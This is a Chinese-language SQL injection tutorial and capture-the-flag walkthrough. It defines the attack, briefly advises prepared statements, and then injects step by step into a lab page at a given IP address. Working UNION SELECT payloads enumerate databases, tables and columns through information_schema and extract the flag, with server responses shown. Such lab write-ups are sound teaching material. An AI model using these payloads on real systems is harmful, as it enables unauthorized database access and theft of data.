参考学习链接
SQL注入
,就是利用现有Web应用程序,构建特殊的参数输入,将(恶意的)SQL
语句注入到后台数据库引擎,最终达到欺骗服务器执行恶意SQL语句的目的。
根据注入形式的不同,可分为:
根据请求方式的不同,可分为:
根据注入点位置的不同,可分为:
脱库,导致敏感数据泄漏; getshell,获取服务器权限。
对用户输入的参数作好预编译处理,不能预编译的,可采取安全过滤,类型判断,映射等方式进行处理。
select group_concat(schema_name) from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema=“A”;//A为止步中得到的库名猜解数据库列名
select group_concat(column_name) from information_schema.columns where table_schema=“A” and table_name=‘B’;//B为上步中得到的表名猜解数据库数据信息
select C from A.B;//其中C为上步中得到的列名
id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata–+
id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema=“lession1”–+ // 得到数据库表名
id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name=“flag”–+ // 得到数据库列名
id=-1+union+select+flag+from+lession1.flag–+
虽然我们已经提前知道了,本次注入的漏洞类型为数字型,但一般情况下仍是需要判断的
测试链接为: http://113.108.70.111:59573/sqli1.php?id=1
很明显,id=1就是本次我们可以下手的点
把【1
】修改为【1'
】
在Mysql中,一般id是数值型,则以下错误日志应为:
SELECT * FROM db.user where id = 1' ;
Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1 0.000 sec
若id是字符型,则以下错误日志应为:
SELECT * FROM db.user where id = '1'' ;
Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1 0.016 sec
结合上文截图中的报错信息,可以判断为数值型
id=1
修改为id=1+order+by+1
结果无报错,继续增加值
id=1+order+by+2
结果提示:Unknown column '2' in 'order clause'
因此该表的字段为1个
一般注入常利用SQL语句中,union联合
的特性来获取想要的数据
id=-1+union+select+database()
Hello
test
,Welcome to login in,having a good day!
可见当前用户表的DB为test
获取用户信息
id=-1+union+select+user()
Hello
ctf1@localhost
,Welcome to login in,having a good day!
由以下语句变形而来
select group_concat(schema_name) from information_schema.schemata;
?id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata--+
由以下语句变形而来
select group_concat(table_name) from information_schema.tables where table_schema="A";
select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';
A为上一步中得到的库名猜解数据库列名
B为上步中得到的表名猜解数据库数据信息
?id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema="lession1"--+
由以下语句变形而来
select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';
B为上步中得到的表名猜解数据库数据信息
id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name="flag"--+
现在我们知道了:
获取表数据,先看有几行
id=-1+union+select+count(flag)+from+lession1.flag--+
Hello 1,Welcome to login in,having a good day!
因为只有一行,我们直接获取即可
id=-1+union+select+flag+from+lession1.flag--+
得到页面
该页面为下一个练习的页面,说明我们已经成功通过了第一个SQL注入基础的测试!
因篇幅问题不能全部显示,请点此查看更多更全内容